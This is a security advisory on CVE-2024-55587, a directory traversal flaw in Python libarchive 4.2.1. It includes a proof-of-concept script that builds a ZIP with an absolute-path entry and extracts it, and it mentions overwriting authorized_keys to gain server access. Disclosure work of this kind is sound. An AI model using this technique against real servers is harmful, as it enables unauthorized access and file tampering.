CVE-2024-55587 - Python Libarchive Library Vulnerability Allows Directory Traversal

Security analysts of CSIRT.SK discovered vulnerability in Python libarchive library. The security flaw allows directory traversal attacks.

Vulnerable systems:

- libarchive – 4.2.1

These versions are confirmed to be vulnerable. We cannot exclude other versions as vulnerable, since these were not tested.

Description:

CVE-2024-55587

The vulnerability exists in the newest version of *libarchive* (4.2.1) library and stems from the absence of sanitization of file names inside a provided ZIP file. The flaw is present in the *ZipFile* call in *extract* ana *extractall* methods. If the file names in the loaded ZIP file contain relative paths (../) or even absolute path (/tmp/test.txt), the vulnerability may be exploited.

Let's create a ZIP file using the following Python code:

```
import pyzipper
import time

with pyzipper.ZipFile("exploit.zip", 'w', compression=pyzipper.ZIP_LZMA) as zf:
    current_time = time.localtime(time.time())[:6]
    zip_info = zf.zipinfo_cls(filename="/tmp/vulnerable.txt",  date_time=current_time)
    zf.writestr(zip_info, "vulnerable")
```

A ZIP file named *exploit.zip* is created, that contains a single file named */tmp/vulnerable.txt*.

When we unzip this file using the vulnerable method *extractall*:

```
from libarchive.zip import ZipFile

with ZipFile("exploit.zip",  mode="r") as archive:
    archive.extractall(path="./")
```

A file named *vulnerable.txt* is created in */tmp* directory, containing a simple text "vulnerable".

This vulnerability is present in the file *libarchive/zip.py* in the line 107:

```
return self.readpath(name, os.path.join(path, name))
```

where the *name* variable is not sanitized. According to behavior of the *join* method in the *path* module of *os* library, the new path will be set as the last provided absolute path, thus the file name */tmp/vulnerable.txt* we provided.
The vulnerability can be exploited for obtaining access to the server by rewriting the *authorized_keys* file, which is located in *.ssh* subfolder of the user home folder.

The vulnerability was tested for the following versions of the library:

- libarchive – 4.2.1

Possible damages:

- **Change in sensitive file contents**

Recommendations:

If you use Python *libarchive* library for development of your web application, and you use *extract* or *extractall* method in combination with user provided ZIP file, we recommend you to consider using newer alternatives to *libarchive* library, e.g. *pyzipper*.

Link:

https://nvd.nist.gov/vuln/detail/CVE-2024-55587